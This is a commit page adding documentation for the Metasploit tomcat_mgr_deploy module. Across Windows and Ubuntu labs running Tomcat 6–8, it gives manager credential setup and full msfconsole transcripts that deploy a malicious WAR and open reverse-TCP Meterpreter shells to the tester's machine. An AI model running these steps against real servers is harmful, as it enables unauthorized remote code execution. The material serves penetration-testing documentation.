Skip to content

Commit 19f485b

Browse files
author
Brent Cook
committed
Land rapid7#7830, Added docs for tomcat_mgr_deploy and tomcat_mgr_upload
2 parents b493ee9 + 4c5e046 commit 19f485b

File tree

2 files changed

+799
-0
lines changed

2 files changed

+799
-0
lines changed

‎documentation/modules/exploit/multi/http/tomcat_mgr_deploy.md

Lines changed: 378 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,378 @@
1+
# Documentation Format
2+
This documentation is slightly different from the standard module documentation due to the variation in variables/privileges/versions that can affect how exploitation happens.
3+
This documentation is broken down by OS, Tomcat version, then privilege to show exploitation in each variation.
4+
5+
# Cleanup
6+
It should be stated outright that the exploit MAY NOT undeploy the shellcode from Tomcat. This can be done [manually](#manual-cleanup).
7+
8+
# tomcat_mgr_upload
9+
This module is VERY similar to `exploit/multi/http/tomcat_mgr_upload`, the main difference is this uses a `PUT` HTTP request, instead of going through a `POST` HTTP request through the GUI.
10+
11+
## Windows (xp sp2)
12+
### Tomcat 6 (6.0.48)
13+
#### Setup
14+
15+
1. Download and install the pre-req [Java7](http://www.oracle.com/technetwork/java/javase/downloads/jre7-downloads-1880261.html)
16+
2. Download and install [Tomcat6](http://apache.osuosl.org/tomcat/tomcat-6/v6.0.48/bin/apache-tomcat-6.0.48.exe)
17+
18+
The install was default, other than adding a user during install. No other options were changed. The install assgined the new user the role `manager-gui`, which is Tomcat 7+ syntax.
19+
For this exploitation, it was changed to simply `manager`.
20+
21+
#### Exploitation
22+
23+
1. Edit `C:\Program Files\Apache Software Foundation\Tomcat 6.0\tomcat-users.xml` to add the following under the `<tomcat-users>` line:
24+
25+
```
26+
<role rolename="manager"/>
27+
<user username="tomcat" password="tomcat" roles="manager"/>
28+
```
29+
30+
2. Restart Tomcat service
31+
32+
3. Exploit:
33+
34+
```
35+
msf > use exploit/multi/http/tomcat_mgr_deploy
36+
msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.108
37+
rhost => 192.168.2.108
38+
msf exploit(tomcat_mgr_deploy) > set verbose true
39+
verbose => true
40+
msf exploit(tomcat_mgr_deploy) > set HttpPassword tomcat
41+
HttpPassword => tomcat
42+
msf exploit(tomcat_mgr_deploy) > set HttpUsername tomcat
43+
HttpUsername => tomcat
44+
msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117
45+
lhost => 192.168.2.117
46+
msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp
47+
payload => java/meterpreter/reverse_tcp
48+
msf exploit(tomcat_mgr_deploy) > set target 1
49+
target => 1
50+
msf exploit(tomcat_mgr_deploy) > set rport 8086
51+
rport => 8086
52+
msf exploit(tomcat_mgr_deploy) > set path /manager
53+
path => /manager
54+
msf exploit(tomcat_mgr_deploy) > check
55+
[*] 192.168.2.108:8086 The target appears to be vulnerable.
56+
msf exploit(tomcat_mgr_deploy) > exploit
57+
58+
[*] Started reverse TCP handler on 192.168.2.117:4444
59+
[*] Using manually select target "Java Universal"
60+
[*] Uploading 6071 bytes as scEYoK0.war ...
61+
[!] No active DB -- Credential data will not be saved!
62+
[*] Executing /scEYoK0/jgj6tWcImjhc7rH2F4TDjCpXG.jsp...
63+
[*] Undeploying scEYoK0 ...
64+
[*] Sending stage (49409 bytes) to 192.168.2.108
65+
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.108:1663) at 2017-01-14 14:30:52 -0500
66+
67+
meterpreter > sysinfo
68+
Computer : winxp
69+
OS : Windows XP 5.1 (x86)
70+
Meterpreter : java/windows
71+
72+
```
73+
74+
### Tomcat 7 (7.0.73)
75+
Of note, as of Tomcat 7, the permission role `manager` has been divided into several sub-roles. Each sub role the user has will change which `path` variable for exploitation.
76+
77+
#### Setup
78+
79+
1. Download and install the pre-req [Java7](http://www.oracle.com/technetwork/java/javase/downloads/jre7-downloads-1880261.html)
80+
2. Download and install [Tomcat7](http://apache.osuosl.org/tomcat/tomcat-7/v7.0.73/bin/apache-tomcat-7.0.73.exe)
81+
82+
The install was default, other than adding a user during install. No other options were changed.
83+
Of note, the user was given `manager-gui` permissions by default.
84+
85+
#### text/script Interface Exploitation
86+
87+
1. Edit `C:\Program Files\Apache Software Foundation\Tomcat 7.0\tomcat-users.xml` to add the following under the `<tomcat-users>` line:
88+
89+
```
90+
<role rolename="manager-script"/>
91+
<user username="tomcat" password="tomcat" roles="manager-script"/>
92+
```
93+
94+
2. Restart the service
95+
96+
3. Exploitation:
97+
98+
```
99+
msf > use exploit/multi/http/tomcat_mgr_deploy
100+
msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.108
101+
rhost => 192.168.2.108
102+
msf exploit(tomcat_mgr_deploy) > set path /manager/text
103+
path => /manager/text
104+
msf exploit(tomcat_mgr_deploy) > set verbose true
105+
verbose => true
106+
msf exploit(tomcat_mgr_deploy) > set HttpPassword tomcat
107+
HttpPassword => tomcat
108+
msf exploit(tomcat_mgr_deploy) > set HttpUsername tomcat
109+
HttpUsername => tomcat
110+
msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117
111+
lhost => 192.168.2.117
112+
msf exploit(tomcat_mgr_deploy) > set rport 8087
113+
rport => 8087
114+
msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp
115+
payload => java/meterpreter/reverse_tcp
116+
msf exploit(tomcat_mgr_deploy) > set target 1
117+
target => 1
118+
msf exploit(tomcat_mgr_deploy) > check
119+
[*] 192.168.2.108:8087 The target appears to be vulnerable.
120+
msf exploit(tomcat_mgr_deploy) > exploit
121+
122+
[*] Started reverse TCP handler on 192.168.2.117:4444
123+
[*] Using manually select target "Java Universal"
124+
[*] Uploading 6086 bytes as Cl6t6gurtwIO59zV3Lt6.war ...
125+
[!] No active DB -- Credential data will not be saved!
126+
[*] Executing /Cl6t6gurtwIO59zV3Lt6/qTIP.jsp...
127+
[*] Undeploying Cl6t6gurtwIO59zV3Lt6 ...
128+
[*] Sending stage (49409 bytes) to 192.168.2.108
129+
[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.108:1656) at 2017-01-14 14:27:21 -0500
130+
131+
meterpreter > sysinfo
132+
Computer : winxp
133+
OS : Windows XP 5.1 (x86)
134+
Meterpreter : java/windows
135+
```
136+
137+
### Tomcat 8 (8.0.39)
138+
Of note, as of Tomcat 7, the permission role `manager` has been divided into several sub-roles. Each sub role the user has will change which `path` variable for exploitation.
139+
140+
#### Setup
141+
142+
1. Download and install the pre-req [Java7](http://www.oracle.com/technetwork/java/javase/downloads/jre7-downloads-1880261.html)
143+
2. Download and install [Tomcat8](http://apache.osuosl.org/tomcat/tomcat-8/v8.0.39/bin/apache-tomcat-8.0.39.exe)
144+
145+
The install was default, other than adding a user during install. No other options were changed.
146+
Of note, the user was given `manager-gui` permissions by default.
147+
148+
#### text/script Interface Exploitation
149+
150+
1. Edit `C:\Program Files\Apache Software Foundation\Tomcat 8.0\tomcat-users.xml` to add the following under the `<tomcat-users` line:
151+
152+
```
153+
<role rolename="manager-script"/>
154+
<user username="tomcat" password="tomcat" roles="manager-script"/>
155+
```
156+
157+
2. Restart the service
158+
159+
3. Exploitation:
160+
161+
```
162+
msf > use exploit/multi/http/tomcat_mgr_deploy
163+
msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.108
164+
rhost => 192.168.2.108
165+
msf exploit(tomcat_mgr_deploy) > set rport 8088
166+
rport => 8088
167+
msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp
168+
payload => java/meterpreter/reverse_tcp
169+
msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117
170+
lhost => 192.168.2.117
171+
msf exploit(tomcat_mgr_deploy) > set HttpPassword tomcat
172+
HttpPassword => tomcat
173+
msf exploit(tomcat_mgr_deploy) > set HttpUsername tomcat
174+
HttpUsername => tomcat
175+
msf exploit(tomcat_mgr_deploy) > set target 1
176+
target => 1
177+
msf exploit(tomcat_mgr_deploy) > exploit
178+
msf exploit(tomcat_mgr_deploy) > set path /manager/text
179+
path => /manager/text
180+
msf exploit(tomcat_mgr_deploy) > exploit
181+
182+
[*] Started reverse TCP handler on 192.168.2.117:4444
183+
[*] Using manually select target "Java Universal"
184+
[*] Uploading 6085 bytes as c6TYmkd8YAe8LqKQhSCr.war ...
185+
[*] Executing /c6TYmkd8YAe8LqKQhSCr/PtW1uMsYCIFP1gs16PUiwE7oc.jsp...
186+
[*] Undeploying c6TYmkd8YAe8LqKQhSCr ...
187+
[*] Sending stage (49409 bytes) to 192.168.2.108
188+
[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.108:1196) at 2017-01-14 10:24:52 -0500
189+
190+
meterpreter > sysinfo
191+
Computer : winxp
192+
OS : Windows XP 5.1 (x86)
193+
Meterpreter : java/windows
194+
```
195+
196+
## Linux
197+
198+
### Tomcat6 (6.0.39) - Ubuntu server 14.04 64bit
199+
200+
#### Setup
201+
202+
1. Install Tomcat and dependencies: `sudo apt-get install tomcat6 tomcat6-admin`
203+
204+
#### Exploit
205+
206+
1. Edit `/etc/tomcat6/tomcat-users.xml` to add the following:
207+
208+
```
209+
<role rolename="manager"/>
210+
<user username="tomcat" password="tomcat" roles="manager"/>
211+
```
212+
213+
2. Restart Tomcat: `sudo service tomcat6 restart`
214+
215+
3. Exploit:
216+
217+
```
218+
msf > use exploit/multi/http/tomcat_mgr_deploy
219+
msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.156
220+
rhost => 192.168.2.156
221+
msf exploit(tomcat_mgr_deploy) > set rport 8080
222+
rport => 8080
223+
msf exploit(tomcat_mgr_deploy) > set verbose true
224+
verbose => true
225+
msf exploit(tomcat_mgr_deploy) > set HttpUsername tomcat
226+
HttpUsername => tomcat
227+
msf exploit(tomcat_mgr_deploy) > set HttpPassword tomcat
228+
HttpPassword => tomcat
229+
msf exploit(tomcat_mgr_deploy) > set payload linux/x86/mettle/reverse_tcp
230+
payload => linux/x86/mettle/reverse_tcp
231+
msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117
232+
lhost => 192.168.2.117
233+
msf exploit(tomcat_mgr_deploy) > set target 3
234+
target => 3
235+
msf exploit(tomcat_mgr_deploy) > exploit
236+
237+
[*] Started reverse TCP handler on 192.168.2.117:4444
238+
[*] Using manually select target "Linux x86"
239+
[*] Uploading 1545 bytes as 9bj4IYa66cSpdK.war ...
240+
[!] No active DB -- Credential data will not be saved!
241+
[*] Executing /9bj4IYa66cSpdK/g3Yxbv3.jsp...
242+
[*] Transmitting intermediate stager...(106 bytes)
243+
[*] Sending stage (335800 bytes) to 192.168.2.156
244+
[*] Undeploying 9bj4IYa66cSpdK ...
245+
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.156:40020) at 2017-01-11 21:18:31 -0500
246+
247+
meterpreter > sysinfo
248+
Computer : Ubuntu14.04
249+
OS : Ubuntu 14.04 (Linux 4.2.0-27-generic)
250+
Architecture : x64
251+
Meterpreter : x86/linux
252+
```
253+
254+
### Tomcat7 (7.0.68) - Ubuntu server 16.04 64bit
255+
Of note, as of Tomcat 7, the permission role `manager` has been divided into several sub-roles. Each sub role the user has will change which `path` variable for exploitation.
256+
257+
#### Setup
258+
1. Install Tomcat and dependencies: `apt-get install tomcat7 tomcat7-admin`
259+
260+
#### text/script Interface Exploitation
261+
262+
1. Edit `/etc/tomcat7/tomcat-users.xml` to add:
263+
264+
```
265+
<role rolename="manager-script"/>
266+
<user username="tomcat" password="tomcat" roles="manager-script"/>
267+
```
268+
269+
2. Restart Tomcat: `sudo service tomcat7 restart`
270+
1. To verify the permissions are all set correctly, browse to `http://192.168.2.118:8087/manager/text/deploy`, and you should see `FAIL - Invalid parameters supplied for command [/deploy]
271+
` as opposed to `403 Access Denied`
272+
273+
3. Exploit:
274+
275+
```
276+
msf > use exploit/multi/http/tomcat_mgr_deploy
277+
msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.118
278+
rhost => 192.168.2.118
279+
msf exploit(tomcat_mgr_deploy) > set rport 8087
280+
rport => 8087
281+
msf exploit(tomcat_mgr_deploy) > set target 3
282+
target => 3
283+
msf exploit(tomcat_mgr_deploy) > set payload linux/x86/mettle/reverse_tcp
284+
payload => linux/x86/mettle/reverse_tcp
285+
msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117
286+
lhost => 192.168.2.117
287+
msf exploit(tomcat_mgr_deploy) > set HttpUsername tomcat
288+
HttpUsername => tomcat
289+
msf exploit(tomcat_mgr_deploy) > set HttpPassword tomcat
290+
HttpPassword => tomcat
291+
msf exploit(tomcat_mgr_deploy) > set verbose true
292+
verbose => true
293+
msf exploit(tomcat_mgr_deploy) > exploit
294+
msf exploit(tomcat_mgr_deploy) > set path /manager/text
295+
path => /manager/text
296+
msf exploit(tomcat_mgr_deploy) > exploit
297+
298+
[*] Started reverse TCP handler on 192.168.2.117:4444
299+
[*] Using manually select target "Linux x86"
300+
[*] Uploading 1579 bytes as 9QymzSGGU0H4e.war ...
301+
[!] No active DB -- Credential data will not be saved!
302+
[*] Executing /9QymzSGGU0H4e/Mfz7dGecAsKTjSxfZgBv.jsp...
303+
[*] Undeploying 9QymzSGGU0H4e ...
304+
[*] Transmitting intermediate stager...(106 bytes)
305+
[*] Sending stage (335800 bytes) to 192.168.2.118
306+
[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.118:34294) at 2017-01-08 20:35:24 -0500
307+
308+
meterpreter > sysinfo
309+
Computer : 192.168.2.118
310+
OS : Ubuntu 16.04 (Linux 4.4.0-21-generic)
311+
Architecture : x64
312+
Meterpreter : x86/linux
313+
```
314+
315+
### Tomcat8 (8.0.32) - Ubuntu server 16.04 64bit
316+
Of note, as of 7, the permission role 'manager' has been divided into several sub-roles. Each sub role the user has will change which `path` variable for exploitation.
317+
318+
#### Setup
319+
320+
1. `apt-get install tomcat8 tomcat8-admin`
321+
322+
#### text/script Interface Exploitation
323+
324+
1. Edit `/etc/tomcat8/tomcat-users.xml` to add:
325+
326+
```
327+
<role rolename="manager-script"/>
328+
<user username="tomcat" password="tomcat" roles="manager-script"/>
329+
```
330+
331+
2. Restart tomcat: `sudo service tomcat8 restart`
332+
1. To verify the permissions are all set correctly, browse to `http://192.168.2.118:8087/manager/text/deploy`, and you should see `FAIL - Invalid parameters supplied for command [/deploy]
333+
` as opposed to `403 Access Denied`
334+
335+
3. Exploit:
336+
337+
```
338+
msf > use exploit/multi/http/tomcat_mgr_deploy
339+
msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.118
340+
rhost => 192.168.2.118
341+
msf exploit(tomcat_mgr_deploy) > set rport 8088
342+
rport => 8088
343+
msf exploit(tomcat_mgr_deploy) > set target 3
344+
target => 3
345+
msf exploit(tomcat_mgr_deploy) > set payload linux/x86/mettle/reverse_tcp
346+
payload => linux/x86/mettle/reverse_tcp
347+
msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117
348+
lhost => 192.168.2.117
349+
msf exploit(tomcat_mgr_deploy) > set HttpUsername tomcat
350+
HttpUsername => tomcat
351+
msf exploit(tomcat_mgr_deploy) > set HttpPassword tomcat
352+
HttpPassword => tomcat
353+
msf exploit(tomcat_mgr_deploy) > set verbose true
354+
verbose => true
355+
msf exploit(tomcat_mgr_deploy) > set path /manager/text
356+
path => /manager/text
357+
msf exploit(tomcat_mgr_deploy) > exploit
358+
359+
[*] Started reverse TCP handler on 192.168.2.117:4444
360+
[*] Using manually select target "Linux x86"
361+
[*] Uploading 1560 bytes as 9s0fTUyPa2HJCDnod2wEQJ.war ...
362+
[!] No active DB -- Credential data will not be saved!
363+
[*] Executing /9s0fTUyPa2HJCDnod2wEQJ/ndAfDrUY.jsp...
364+
[*] Undeploying 9s0fTUyPa2HJCDnod2wEQJ ...
365+
[*] Transmitting intermediate stager...(106 bytes)
366+
[*] Sending stage (335800 bytes) to 192.168.2.118
367+
[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.118:33802) at 2017-01-14 11:06:13 -0500
368+
369+
meterpreter > sysinfo
370+
Computer : 192.168.2.118
371+
OS : Ubuntu 16.04 (Linux 4.4.0-59-generic)
372+
Architecture : x64
373+
Meterpreter : x86/linux
374+
```
375+
376+
## Manual Cleanup
377+
378+
Manual cleanup can be done by logging into the `/manager` website. From there, click `Undeploy` within the `Application` list to remove the malicious app from Tomcat.

0 commit comments

Comments
 (0)